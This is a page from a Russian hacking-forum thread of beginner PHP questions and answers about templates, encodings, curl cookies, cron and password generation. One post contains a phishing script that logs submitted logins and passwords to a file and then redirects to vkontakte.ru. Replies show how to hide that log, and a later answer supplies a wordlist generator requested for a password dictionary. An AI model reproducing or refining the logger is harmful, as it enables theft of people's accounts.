PDA

Просмотр полной версии : [php] Новичкам: задаем вопросы


Страницы : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 [33] 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66

Ru}{eeZ
20.01.2009, 23:38
посоветуйте что лучше почитать про использование шаблонов?
вот на текущий момент есть свесртанная страничка голый хтмл
хотелось бы прикрутить на нее новости(постраничные),дале еще что-то и т.д.
я так понимаю проще всего исп шаблон и уже писать осн функции....

Я так делаю:

function template($adr, $names) {
global $host;
$file = file_get_contents($adr);
//$file = str_replace('{TITLE}',$host['title'],$file);
$file = str_replace('{ADDR}',$host['addr'],$file);
//$file = preg_replace("|\{ADDR\}|i",$host['addr'],$file,-1);
foreach($names as $name => $value) {
//$file = str_replace('{'.$name.'}',$value,$file);
$file = preg_replace("|\{$name\}|i",$value,$file,-1);
}
return $file;
}

AkyHa_MaTaTa
20.01.2009, 23:46
Я так делаю:

function template($adr, $names) {
global $host;
$file = file_get_contents($adr);
//$file = str_replace('{TITLE}',$host['title'],$file);
$file = str_replace('{ADDR}',$host['addr'],$file);
//$file = preg_replace("|\{ADDR\}|i",$host['addr'],$file,-1);
foreach($names as $name => $value) {
//$file = str_replace('{'.$name.'}',$value,$file);
$file = preg_replace("|\{$name\}|i",$value,$file,-1);
}
return $file;
}

Млодец, просто все признаки MVC, да и smarty отдыхает, все smarty на помойку, буду использовать только твою библеотеку, у него стока готового функционала и обьекная модель понятна почти сразу. :)

Ru}{eeZ
21.01.2009, 00:06
Млодец, просто все признаки MVC, да и smarty отдыхает, все smarty на помойку, буду использовать только твою библеотеку, у него стока готового функционала и обьекная модель понятна почти сразу. :)

Ой молодец, как красиво подъёбываешь. Вот только твоего мнения на счёт этого не спрашивали, а я просто решил, что это может заинтересовать человека.

Chaak
21.01.2009, 00:15
Действительно процедурное программирование для сиэмэс недопустимо + код что ты дал - непооизводительный. Шаблонизатор должнен генерировать нативный шаблон и кэшировать постоянные страницы

geforce
21.01.2009, 00:53
Пишу свой первый парсер почему ничего не выводит?

<?php // мой первый парсер
$cont = file_get_contents('http://webteach.ru/');
$pos = strpos($cont,'<div class="feat_title"><a href="http://webteach.ru/2008/12/29/paru-slov-o-biblioteke-gd/" rel="bookmark" title="Ссылка на Пару слов о библиотеке GD">Пару слов о библиотеке GD</a></div>' );
$cont = substr($cont,$pos );
$pos = strpos($cont,'<div class="column span-7 first">© 2008 PHP скрипты. Школа вебмастеров.. <a href="http://webteach.ru/feed/"><img src="http://webteach.ru/wp-content/themes/tma/images/bg/feedicon12.png" alt="RSS" style="vertical-align: top; margin: 2px 0 0 7px;" /></a></div>' );
$cont = substr($cont, 0, $pos);
echo $cont;
?>

svesve
21.01.2009, 01:06
2 Ru}{eeZ спс

щас сижу разбираюсь со смарти,вроде бы пока получается,есть такой вопрос как лучше разбить вывод результатов постарнично? ну допустим у меня выводится 200 таблиц а я хочу чтоб на странице было по 10

ikolla$$
21.01.2009, 01:13
set time limit - На 90% фришникакх нету
curl - 99.999999% нету фришек с курлом и соетами.

Pashkela
21.01.2009, 01:18
Пишу свой первый парсер почему ничего не выводит?

<?php // мой первый парсер
$cont = file_get_contents('http://webteach.ru/');
$pos = strpos($cont,'<div class="feat_title"><a href="http://webteach.ru/2008/12/29/paru-slov-o-biblioteke-gd/" rel="bookmark" title="Ссылка на Пару слов о библиотеке GD">Пару слов о библиотеке GD</a></div>' );
$cont = substr($cont,$pos );
$pos = strpos($cont,'<div class="column span-7 first">© 2008 PHP скрипты. Школа вебмастеров.. <a href="http://webteach.ru/feed/"><img src="http://webteach.ru/wp-content/themes/tma/images/bg/feedicon12.png" alt="RSS" style="vertical-align: top; margin: 2px 0 0 7px;" /></a></div>' );
$cont = substr($cont, 0, $pos);
echo $cont;
?>

потому что вопрос задавать надо там, где это принято: https://forum.antichat.ru/thread92492.html

и задавать не так, как ты, а "я вот хочу, чтобы с такой-то страницы вывелось бы конкретно ВОТ ЭТО......"

а не свои наработки, по которым вряд ли кто догадается в итоге на 100%, что тебе надо в итоге выцепить

geforce
21.01.2009, 01:31
потому что вопрос задавать надо там, где это принято: https://forum.antichat.ru/thread92492.html

и задавать не так, как ты, а "я вот хочу, чтобы с такой-то страницы вывелось бы конкретно ВОТ ЭТО......"

а не свои наработки, по которым вряд ли кто догадается в итоге на 100%, что тебе надо в итоге выцепить

Уш лучше ты мне так помог чем так как ты мне ответил лучше б молчал!

Читать пост пед идущий надо было чтоб вопросы такие не возникали! Я учусь!!!!!! писать парсер а вытаскивать пофиг чё повтряю УУУУЧУУУСЬ Дошло?

Pashkela
21.01.2009, 02:54
не быкуй, мальчег, писькой еще не вышел разговор с мущинами держать, задай вопрос правильно, т.е. что тебе надо, чтобы выцепилось? И задай не здесь, а там, где тебе намекнули, пока тебе модеры не "намекнули"

geforce
21.01.2009, 03:05
не быкуй, мальчег, писькой еще не вышел разговор с мущинами держать, задай вопрос правильно, т.е. что тебе надо, чтобы выцепилось? И задай не здесь, а там, где тебе намекнули, пока тебе модеры не "намекнули"
Ты как общаешься вася! Писькой не вышел говоришь! Хочешь пообщаться по душам??
Я те покажу свою письку и потом поглядим у кого она не вышла! Где и когда?

AkyHa_MaTaTa
21.01.2009, 03:09
Все начились меренья письками, кстати для этого есть лс.

Pashkela
21.01.2009, 03:10
Нет, вы видели? Он обозвал меня старой ведьмой! Ужас

ЗЫЖ Разговор окончен

Vinsik
21.01.2009, 10:58
Как выполнить команду командной строки с помощью php ???
Например ченить типа "coder.exe c:\work\uploads\1.avi -t" помогите плииииз =)

Zitt
21.01.2009, 11:00
Vinsik, наверно <?php system("coder.exe c:\work\uploads\1.avi -t"); ?>

oRb
21.01.2009, 11:02
Как выполнить команду командной строки с помощью php ???
Например ченить типа "coder.exe c:\work\uploads\1.avi -t" помогите плииииз =)
http://ru2.php.net/manual/ru/ref.exec.php

Zitt
21.01.2009, 12:35
Чем это закодированно??
charset_test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2% B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84&locale=ru_RU&email=mail%40mail.com&pass=pass&pass_placeholder=%D0%9F%D0%B0%D1%80%D0%BE%D0%BB%D1 %8C&charset_test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2% B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84
Это в хеддере...

Gifts
21.01.2009, 12:40
Zitt php.net/url_encode

oRb
21.01.2009, 12:43
Zitt,
http://ru.php.net/manual/ru/function.urlencode.php

AkyHa_MaTaTa
21.01.2009, 12:53
2 Gifts & 2 oRb по всей видимости он не про это спрашивает
Чем это закодированно??

Это в хеддере...
какая кодировка в полях head-ера шлеться? Либо данные проходят какую то обработку перед urlencode, либо они в какой то не стандартной кодировки.

oRb
21.01.2009, 13:17
2 Gifts & 2 oRb по всей видимости он не про это спрашивает

какая кодировка в полях head-ера шлеться? Либо данные проходят какую то обработку перед urlencode, либо они в какой то не стандартной кодировки.
charset_test=?,´,?,�% B4,水,Д,Є&locale=ru_RU&email=mail@mail.com&pass=pass&pass_placeholder=Пароль&charset_test=?,´,?,�% B4,水,Д,Є
pass_placeholder - точно UTF-8
charset_test - хз
Думаю ситуация прояснится, если Zitt скажет, где он это отснифал.

groundhog
21.01.2009, 13:20
Да, вопрос не ясен... :) Хидер шлётся в чистом ASCII, все символы, которые не укладываются в таблицу ASCII кодируются в URL-encode (в PHP это делает urlencode функция, обратная ей - urldecode). Что касается контента HTTP-сообщения, то оно закодировано в соответствии с переданным хидером Content-Encoding. Ну и от себя могу добавить, что также неплохо было бы следить за хидерами Content-Transfer-Encoding и Transfer-Encoding, которые определяют каким образом были модифицированы данные тела HTTP-сообщения для обеспечения целостности передачи данных по каналам сети (очень актуально при передаче бинарных данных).

Ну и для полного осмысления HTTP 1/1:

http://www.w3.org/Protocols/rfc2616/rfc2616.html

AkyHa_MaTaTa
21.01.2009, 13:26
pass_placeholder - точно UTF-8
charset_test - хз
Думаю ситуация прояснится, если Zitt скажет, где он это отснифал.
Это не utf-8.
+ groundhog, я об этом же.
2 Zitt дай линк на сайт откуда это добро идет.
&pass_placeholder=Пароль - utf-8(меня обламали, это utf-8)

oRb
21.01.2009, 13:50
Это не utf-8.

Докажи.
Моя аргументация:
1.
<?php
$str = '%D0%9F%D0%B0%D1%80%D0%BE%D0%BB%D1%8C';
$str = urldecode($str);
echo mb_detect_encoding($str), "\n", $str;
?>
2. Да и если тупо в utf-8 консоле запустить, то и без mb_detect_encoding все сразу видно.
3. Посчитай число символов, сразу станет понятно что это не однобайтная кодировка

AkyHa_MaTaTa
21.01.2009, 14:00
&pass_placeholder=Пароль - да я это utf-8, я сказал не правду, тогда это что?
<?php
$str ='%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0 %B4%2C%D0%94%2C%D0%84';
$str = urldecode($str);
echo mb_detect_encoding($str), "\n", $str;
?>
ладно, charset_test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2% B4%2C%E6%B0%B4
это какая то фича Face Book, по всей видимости так они проверяют поддержку utf-8 в браузере.

Zitt
21.01.2009, 16:56
ух ты сколько отписавшихся... спасибо всем.. буду изучатть...

Zitt
21.01.2009, 17:10
ДА это точна utf-8.. Можно строку в utf-8 перевести?

Zedi
21.01.2009, 17:33
Привет всем! Из-за того что в свой двиг решил включить ajax, потребовалось перейти на utf8, и вот какая проблема беру файл, открываю через блокнот, сохраняю как utf8, все работает но ошибка типа заголовки уже отправлены невозможно открыть сессию, в чем может быть проблема?

Chaak
21.01.2009, 17:37
Zitt, iconv('utf-8','windows-1251', $str);

Zedi, сохраняй без метки bom, в notepad++ вроде есть такое.

AkyHa_MaTaTa
21.01.2009, 17:40
2 Zedi открывай и сохраняй хотя бы в NOTEPAD++.

Joker-jar
21.01.2009, 17:41
Zedi, ищи вывод (echo и т.д.) где-то выше открытия сессии

AkyHa_MaTaTa
21.01.2009, 17:49
Zedi, ищи вывод (echo и т.д.) где-то выше открытия сессии
как написал chack проблема в что блокнот будет сохранять в файл с Include Unicode Signature(BOM), и поэтому в как бы в начале файла будут спец символы, перед <?php session_start() - и отсюда будет вывод в браузер этих символов перед выполнением php кода, ну и соответсвенно ошибко что хедар уже послан.

Zedi
21.01.2009, 18:25
это опять я, отправляю данные ajax ом на PHP скрипт, при отправке русских букв приходят какие то кракозябры типа %u0410%u043D%u0442%u0438%u0447%u0430%u0442 как скриптом можно это расшифровать? urldecode не прокатил

Chaak
21.01.2009, 18:28
это опять я, отправляю данные ajax ом на PHP скрипт, при отправке русских букв приходят какие то кракозябры типа %u0410%u043D%u0442%u0438%u0447%u0430%u0442 как скриптом можно это расшифровать? urldecode не прокатил
ajax.setRequestHeader("Content-Type", "text/plain;charset=UTF-8");
это добавляй к запросу + кодировка страницы клиента должна дополнительно выставляться:
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" >

DTW
21.01.2009, 18:36
Вопрос как можно заменить


1 первый файл
<?php

define('H',true);
define('L',true);
define('C',true);

// потом проверку делаю 2
?>
<?php if(!defined('C')) die("Not Find") ; ?>




Вопрос как можно заменить это удобней

если например будет 30+ файл
все время писать define('H',true); ?

groundhog
21.01.2009, 18:38
Напиши это в цикле, а определяемые константы храни в массиве... При необходимости добавишь новый элемент в массив...

Manoff
21.01.2009, 21:52
Люди, всем привет , не подскажете , как написать код, который находясь в bot.php каждые 10 секунд переходила бы по ссылкам на странице index.php, причём используя прокси из списка proxy.txt ?? Хотябы подкинте идею.

Zitt
21.01.2009, 22:02
каждык 10 мин можно кроном или sleep(10000скокаката_там) ))
сам переход fsopen или curl загугли тем полно.

w.u.n.
21.01.2009, 23:13
Каак можно на пхп сломаать интернет?

Zitt
21.01.2009, 23:28
w.u.n., ты не хакер чтоле?? Любой закер на уровне знает что для этого нужно скачать коякер интернета....

preda1or
21.01.2009, 23:32
Люди, всем привет , не подскажете , как написать код, который находясь в bot.php каждые 10 секунд переходила бы по ссылкам на странице index.php, причём используя прокси из списка proxy.txt ?? Хотябы подкинте идею.
юзай cron если unix

MaTpOc
21.01.2009, 23:40
как мне сделать чтоб логи Базы никто кроме меня не смог просматривать?
<?php
$Login = $_POST['login'];
$Pass = $_POST['passwd'];
$log = fopen("base.php","a+");
fwrite($log,"<br> $Login:$Pass \n");
fclose($log);
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://vkontakte.ru'></head></html>";
?>

Gifts
21.01.2009, 23:46
MaTpOc Первой строчкой в файле base.php написать <? if ($_COOKIE['somecook']!=='passwd') die; ?>

Или добавить в .htaccess:

<FilesMatch "^base\.php$">
AuthName "Only valid users can download zip files."
AuthType Basic
AuthUserFile /home/www/users/AM/pas/.htpasswd
Require valid-user
</ FilesMatch >


И в файле /home/www/users/AM/pas/.htpasswd - соответственно пароли

oRb
21.01.2009, 23:49
К примеру,
У тебя файл base.php, следовательно он будет обрабатываться интерпретатором
Ты открываешь файл на добавление
поэтому в начало файла можно написать, <?php exit; ?>
Через веб файл будет недоступен.

Можно через .htaccess закрыть доступ

Можно по типу первого варианта, только повесить авторизацию (401)
$auth = 0;
$login = "63a9f0ea7bb98050796b649e85481845"; // root
$pass = "63a9f0ea7bb98050796b649e85481845"; // root
if($auth && (md5($_SERVER['PHP_AUTH_USER'])!==$login || md5($_SERVER['PHP_AUTH_PW'])!==$pass))
{
header('WWW-Authenticate: Basic realm="basic"');
header('HTTP/1.0 401 Unauthorized');
die("<h1>Forbidden</h1>");
}

Zitt
22.01.2009, 00:17
Как курлом получить\послать куки?
Юхал так

...
curl_setopt($ch, CURLOPT_COOKIEFILE, "cookie.txt");
curl_setopt($ch, CURLOPT_COOKIEJAR, "cookie.txt");
curl_setopt($ch, CURLOPT_COOKIE, "cookie.txt");
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
....

и вырезал куки из ответа.. всеравно сервер ругаеться что не посылаються куки.. ((

Pashkela
22.01.2009, 00:20
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208');
curl_setopt($ch, CURLOPT_COOKIE, "__utma=; __utmb=; __utmc=;__utmz=;");
$ss=curl_exec($ch);
curl_close($ch);
return $ss;
}

Zitt
22.01.2009, 00:29
Pashkela, ну это ясно.. так мы передаем куки.. а как их получить с пост запроса... Я регаюсь например на сайте, посылаю постом логин и пасс.. и получаю куки..

Pashkela
22.01.2009, 00:41
<?
$ch_autht = curl_init();
curl_setopt($ch_autht, CURLOPT_URL, "bla.ru");//куда конектится
curl_setopt($ch_autht, CURLOPT_COOKIEJAR, 'cookie.txt'); //автоматом запишит все куки в файл
curl_setopt($ch_autht, CURLOPT_COOKIEFILE, 'cookie.txt');// прочитает куки из записаного файла
curl_setopt ($ch_autht, CURLOPT_RETURNTRANSFER, 1);
$ch_buft = curl_exec($ch_autht);
curl_close($ch_autht);
echo $ch_buft;
?>


а у тебя


curl_setopt($ch, CURLOPT_COOKIE, "cookie.txt");

c0rp$e
22.01.2009, 05:39
человек заходит на сайт, при этом выполняется определенный пхп скрипт.
как сделать так, чтобы скрипт выполнялся постоянно, без захода человека на сайт

159932
22.01.2009, 05:41
эм.. ну как бы .. set_time_limit = 0 ?
один раз зайдёшь и будет он работать .. точнее не зайдёшь, а запустишь.

.:nbd:.
22.01.2009, 06:22
ога и ignor_user_abort();
то есть, добавь в начале скрипта:

set_time_limit(0);
ignore_user_abort();

или запускай скрипт по расписанию через cron.

MaTpOc
22.01.2009, 08:45
Помогите плиз написать генератор всевозможный паролей.

Doom123
22.01.2009, 09:02
MaTpOc chr() и mt_rand() тебе в помощь

m0Hze
22.01.2009, 10:10
Помогите плиз написать генератор всевозможный паролей.
зачем изобретать велосипед??
PasswordPro Тебе в помощь,там все есть.

Chaak
22.01.2009, 10:27
А может ему для регистрации надо ;)
Выбирай в цикле случайные буквы из строки алфавита и присоединяй к конечной строке.
Сам напишешь - много опыта получишь. Потом оптимизмруем ;)

groundhog
22.01.2009, 12:16
А может ему для регистрации надо ;)
Выбирай в цикле случайные буквы из строки алфавита и присоединяй к конечной строке.
Сам напишешь - много опыта получишь. Потом оптимизмруем ;)

Дык зачем выбирать... Что-то хранить... Можно просто генерировать из заданного диапазона ASCII код, и через CHR конкатенировать к строке...

Chaak
22.01.2009, 13:43
Дык зачем выбирать... Что-то хранить... Можно просто генерировать из заданного диапазона ASCII код, и через CHR конкатенировать к строке...
Да, но отмерка диапозонов, имхо - долгое занятие. Куда проще добавить уже готовый символ в алфавит, чем искать его по таблице. К тому же если в генераторе паролей будет функция выбора доп. символов, то без алфавита никак не обойтись

groundhog
22.01.2009, 13:49
ChaaK, ну в общем да, у тебя будет готовый алфавит, а у меня рваные диапазоны, тут появляется некоторое неудобство... Согласен.

D1mOn
22.01.2009, 14:01
Помогите плиз написать генератор всевозможный паролей.
<form method=post>

<input type=text name=number value="10">

<input type=submit value="Генерировать">

<form><br><br>

<?php

// Параметр $number - сообщает число

// символов в пароле

echo generate_password($_POST['number']);



function generate_password($number)

{

$arr = array('a','b','c','d','e','f',

'g','h','i','j','k','l',

'm','n','o','p','r','s',

't','u','v','x','y','z',

'A','B','C','D','E','F',

'G','H','I','J','K','L',

'M','N','O','P','R','S',

'T','U','V','X','Y','Z',

'1','2','3','4','5','6',

'7','8','9','0','.',',',

'(',')','[',']','!','?',

'&','^','%','@','*','$',

'<','>','/','|','+','-',

'{','}','`','~');

// Генерируем пароль

$pass = "";

for($i = 0; $i < $number; $i++)

{

// Вычисляем случайный индекс массива

$index = rand(0, count($arr) - 1);

$pass .= $arr[$index];

}

return $pass;

}

?>
Код спизжен :D :D

groundhog
22.01.2009, 14:08
Молодец, только форму закрой :)

AkyHa_MaTaTa
22.01.2009, 14:22
можно например и так


$in='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRS TUVWXYZ1234567890+-_=';
$out=substr(str_shuffle($in),rand(0,2),rand(5,8));
echo $out;

c0rp$e
22.01.2009, 14:27
ребят, а кто нибудь запускал пхп скрипты тут?
на сервисах бесплатного крона?

какие мнение?
на постоянное выполнение...

geforce
22.01.2009, 14:43
Есть код который мне надо использовать несколько раз!

<?php include("db.php");
if (isset($_POST['vibor'])) { $vibor = $_POST['vibor'];}
if (isset($_POST['load'])) { $adres = $_POST['load'];}
$result1 = mysql_query("SELECT * FROM data WHERE id='$vibor'",$db);
if (!$result1) {
exit(mysql_error());
}
if (mysql_num_rows($result1) > 0) {
//вытаскиваем пути к картинкам
$myrow1 = mysql_fetch_array($result1);
$adres1 = "admin/".$myrow1['url'];
//узнаем реальный размер картинок
$mas = getimagesize($adres);
$mas1 = getimagesize($adres1);
//создаем переменые с размерами
$width = 215;
$heigth = $mas[1]+$mas1[1]+30;
//создаем пустую картинку с размерами которые выше
$im = imagecreatetruecolor($width, $heigth);
//создаем в памяти все картинки
$im1 = imagecreatefromjpeg($adres);
$im2 = imagecreatefromjpeg('logo.jpg');
$im3 = imagecreatefromjpeg($adres1);
//копируем все на полотно
$name = $myrow1['name'];
imagecopy($im, $im2, 0, $mas[1], 0, 0, 215, 30);
imagecopy($im, $im1, 0, 0, 0, 0, 215, $mas[1]);
imagecopy($im, $im3, 0, $mas[1]+30, 0, 0, 215, 350);
//размеры аватарки
$width = imagesx($im);
$height = imagesy($im);
//добавляем уголки
$tl = imagecreatefrompng('tl.png'); //top left
$tr = imagecreatefrompng('tr.png'); //top right
$dl = imagecreatefrompng('dl.png'); //down left
$dr = imagecreatefrompng('dr.png'); //down right
//размеры уголков (предпологается, что размер углов одинаковый )
$w = imagesx($tl);
$h = imagesy($tl);
imagecopy($im, $tl, 0, 0, 0, 0, $w, $h);
imagecopy($im, $tr, $width-$w, 0, 0, 0, $w, $h);
imagecopy($im, $dl, 0, $height-$h, 0, 0, $w, $h);
imagecopy($im, $dr, $width-$w, $height-$h, 0, 0, $w, $h);
// сохранение аватара
imagejpeg($im,"avatar/$name");
imagedestroy($im);
}
else {
echo "Ошибка при зоздании Аватара";
exit();
}
printf("<a href='get.php?file=avatar/$name'><img src='avatar/$name' alt=''/></a>");
?>

Помогите сделать класс который моно использовать эквивалентно этому коду???

groundhog
22.01.2009, 15:15
У тебя вся логика тут перемешана... Это раз... Кода у тебя не так много, это два... "Это" лучше не трогать... Максимум - сделай из этого функцию и инклудь где нужно. Такой код не достоен попасть в ООП обёртку.

nerezus
22.01.2009, 15:16
http://cronjob.ru/

какие мнение? Светят твоими данными?

c0rp$e
22.01.2009, 15:27
nerezus, какими мылом что ли? )

geforce
22.01.2009, 15:52
У тебя вся логика тут перемешана... Это раз... Кода у тебя не так много, это два... "Это" лучше не трогать... Максимум - сделай из этого функцию и инклудь где нужно. Такой код не достоен попасть в ООП обёртку.

Я просто хочу научиться ООП по этому маленький код! Плиз покажи пример???

procedure
22.01.2009, 16:08
У меня есть переменная $info
я туда кидаю:
$info = "\nvar: $var,\nvar1 $var1 etc";
Почему у меня на следующую строчку не записываеться при записи в файл?
Как вообще можно записать в файл инфо, нормально?

Pashkela
22.01.2009, 16:18
$info = "\nvar: $var,\nvar1 $var1 etc";
$fout=fopen('output.txt','a+');
fwrite ($fout,$info . "\r\n");
fclose($fout);

geforce
22.01.2009, 16:18
У меня есть переменная $info
я туда кидаю:
$info = "\nvar: $var,\nvar1 $var1 etc";
Почему у меня на следующую строчку не записываеться при записи в файл?
Как вообще можно записать в файл инфо, нормально?

$info = "\nvar: $var,\nvar1 $var1 etc"
$fh=fopen("файл куда пишеш","a+");
fputs($fh,$info."\r\n");
fclose($fh);

Вот так

groundhog
22.01.2009, 16:18
$info = "\r\nvar: $var,\r\nvar1 $var1 etc";

[x26]VOLAND
22.01.2009, 16:50
Я просто хочу научиться ООП по этому маленький код! Плиз покажи пример???ООП нельзя научиться посмотрев на пример. Это не просто некая фишка, это целая идеология. И если даже выучишь, то понимание наступит далеко не сразу.
И во вторых, если что-то и "оборачивать" в ООП, то и вся архитектура должна быть объектно-ориентирована...
Как сказал groundhog, у тебя логика перемешана. Если ты, прежде чем задавать свой вопрос, не смог разделить логику и выделить какой именно функционал тебе нужно инкапсулировать в класс, то тебе ещё рано лезть в ООП...

MaTpOc
22.01.2009, 17:16
можно например и так


$in='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRS TUVWXYZ1234567890+-_=';
$out=substr(str_shuffle($in),rand(0,2),rand(5,8));
echo $out;


как мне сделать чтоб пассы все сгенерились в столбик,
//мне надо для словарика

Pashkela
22.01.2009, 17:20
https://forum.antichat.ru/showpost.php?p=1073797&postcount=8113

Gifts
22.01.2009, 17:24
MaTpOc Где то я это уже писал, генератор словарей:
<pre><?
// Функция для генерации
// $FROM, $TO - Начальное / Конечное количество символов
// $todo - Что делать со словом
// $alfa - Алфавит для генераци, нулевой элемент ДОЛЖЕН быть пустой строкой, иначе заменяется на нее
function gen($FROM, $TO , $todo, $alfa=array("","a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"))
{
$alfa=array_values($alfa);
$alfa[0]="";
$count=count($alfa);
$eval='';
$eval2=array();
$slovo='';
for ($n=1;$n<=$TO;$n++)
{
$eval .='for ($'.chr(96+$n).'='.(($n-$TO+$FROM>=1) ? '1' : '0').';$'.chr(96+$n).'<'.$count.';$'.chr(96+$n).'++) {'."\r\n";
$eval2[]='$alfa[$'.chr(96+$n).']';
}
if (eval($eval.'$slovo = '.implode('.',$eval2).'; '.$todo.str_repeat('}',$TO))) return true; else return false;
}


define(FROM,2); // Начальное количество букв
define(TO,3); // Конечное количество букв
// Что делать с текущим словом, которое хранится в переменной $slovo
// Например запишем в файл
$todo='fwrite($f,$slovo."\r\n");';

$f=fopen('slovar.txt','w');
gen(FROM,TO,$todo);
fclose($f);

?>

geforce
22.01.2009, 17:35
как передать в функцию переменную?

[x26]VOLAND
22.01.2009, 17:38
function($var)
{
чёто делаем с этой $var
}

astrologer
22.01.2009, 17:39
как передать в функцию переменную? http://php.net/functions.arguments
Привет.

MaTpOc
22.01.2009, 18:32
вобщем у меня че та этот скрипт не пашет(
<?php
$in='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRS TUVWXYZ1234567890+-_=';
$out=substr(str_shuffle($in),rand(0,2),rand(5,8));
echo $out;
$info = "\nvar: $var,\nvar1 $var1 etc";
$fout=fopen('output.txt','a+');
fwrite ($fout,$info . "\r\n");
fclose($fout);
?>

AkyHa_MaTaTa
22.01.2009, 18:36
вобщем у меня че та этот скрипт не пашет(
<?php
$in='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRS TUVWXYZ1234567890+-_=';
$out=substr(str_shuffle($in),rand(0,2),rand(5,8));
echo $out;
$info = "\nvar: $var,\nvar1 $var1 etc";
$fout=fopen('output.txt','a+');
fwrite ($fout,$info . "\r\n");
fclose($fout);
?>

echo $out; , $info = "\nvar: $var,\nvar1 $var1 etc"; ОМГ, каша, что тебе конкретно надо, что бы генерировались пароли случайные и потом записывались в файл?

geforce
22.01.2009, 19:02
VOLAND']function($var)
{
чёто делаем с этой $var
}

<?php
// подгружам нужные файлы
include("db.php");
include("function.php");
---------------------------------------------------------------
// передаём переменные
if (isset($_POST['vibor'])) { $vibor = $_POST['vibor'];}
if (isset($_POST['load'])) { $adres = $_POST['load'];}
if (isset($_POST['zak'])) { $zak = $_POST['zak'];}
// запрос к базе
$q = "SELECT * FROM data WHERE id='$vibor'";
$result1 = mysql_query($q,$db);
if (!$result1) {
exit(mysql_error());
}
if (mysql_num_rows($result1) > 0) {
//вытаскиваем пути к картинкам
$myrow1 = mysql_fetch_array($result1);
$adres1 = "admin/".$myrow1['url'];
//узнаем реальный размер картинок
$mas = getimagesize($adres);
$mas1 = getimagesize($adres1);
//создаем переменые с размерами
$width = 215;
$heigth = $mas[1]+$mas1[1]+30;
//создаем пустую картинку с размерами которые выше
$im = imagecreatetruecolor($width, $heigth);
//создаем в памяти все картинки
$im1 = imagecreatefromjpeg($adres);
$im2 = imagecreatefromjpeg('logo.jpg');
$im3 = imagecreatefromjpeg($adres1);
//копируем все на полотно
$name = $myrow1['name'];
imagecopy($im, $im2, 0, $mas[1], 0, 0, 215, 30);
imagecopy($im, $im1, 0, 0, 0, 0, 215, $mas[1]);
imagecopy($im, $im3, 0, $mas[1]+30, 0, 0, 215, 350);
---------------------------------------------------------------
// закруглёные края
if ($zak == 1) {
ugolki ($im);
}
// сохранение аватара
imagejpeg($im,"avatar/$name");
imagedestroy($im);
}
else {
echo "Ошибка при зоздании Аватара";
exit();
}
printf("<a href='get.php?file=avatar/$name'>сохранить</a><br>
<img src='avatar/$name' alt=''/>");

?>
Помогите из выделенного пунктиром текста кода сделать функцию ???

и как сделать картинку в коде черно белой???

[x26]VOLAND
22.01.2009, 19:24
Хоть убей не пойму что делает твой код, но всё же:
<?php
// подгружам нужные файлы
include("db.php");
include("function.php");
---------------------------------------------------------------
// передаём переменные
if (isset($_POST['vibor'])) { $vibor = $_POST['vibor'];}
if (isset($_POST['load'])) { $adres = $_POST['load'];}
if (isset($_POST['zak'])) { $zak = $_POST['zak'];}

function process($vibor, $adres, $zak)
{
global $db;
// запрос к базе
$q = "SELECT * FROM data WHERE id='" . (int)$vibor . "'";
$result1 = mysql_query($q,$db) or exit(mysql_error());
if (mysql_num_rows($result1) > 0) {
//вытаскиваем пути к картинкам
$myrow1 = mysql_fetch_array($result1);
$adres1 = "admin/".$myrow1['url'];
//узнаем реальный размер картинок
$mas = getimagesize($adres);
$mas1 = getimagesize($adres1);
//создаем переменые с размерами
$width = 215;
$heigth = $mas[1]+$mas1[1]+30;
//создаем пустую картинку с размерами которые выше
$im = imagecreatetruecolor($width, $heigth);
//создаем в памяти все картинки
$im1 = imagecreatefromjpeg($adres);
$im2 = imagecreatefromjpeg('logo.jpg');
$im3 = imagecreatefromjpeg($adres1);
//копируем все на полотно
$name = $myrow1['name'];
imagecopy($im, $im2, 0, $mas[1], 0, 0, 215, 30);
imagecopy($im, $im1, 0, 0, 0, 0, 215, $mas[1]);
imagecopy($im, $im3, 0, $mas[1]+30, 0, 0, 215, 350);
// закруглёные края
if ($zak == 1) {
ugolki ($im);
}
// сохранение аватара
imagejpeg($im,"avatar/$name");
imagedestroy($im);
} else {
exit("Ошибка при зоздании Аватара");
}
return $name;
}

$name = process($vibor, $adres, $zak);

printf("<a href='get.php?file=avatar/$name'>сохранить</a><br>
<img src='avatar/$name' alt=''/>");

?>

MaTpOc
22.01.2009, 19:32
echo $out; , $info = "\nvar: $var,\nvar1 $var1 etc"; ОМГ, каша, что тебе конкретно надо, что бы генерировались пароли случайные и потом записывались в файл?

да, нада генерить всевозможные пароли в столбик по 8 знаков в строчке и чтоб это все складывалось в файл.

Chaak
22.01.2009, 19:49
<?php
#~~~~~~~~Настройки~~~~~~~~#
$pass_len = 8; # длина пароля?
$pass_count = 1000; # сколько паролей генерировать?
$file_pass = 'passwords.txt'; # файл с паролями?
$truncate_file = true; # отчищать ли файл?
$add_symb = '!@#$%^&*'; # добавочные символы?
#~~~~~~~~---------~~~~~~~~#

/**
* genPass()
*
* @param int $len - длина
* @param string $mix - дополнительные символы
* @return string $result
*/
function genPass($len, $mix = '')
{
$alpha = 'qwertyuiopasdfghjklzxcvbnm1234567890'; #алфавит
$result = ''; #результат

$alpha .= $mix; #добавляем доп. символы

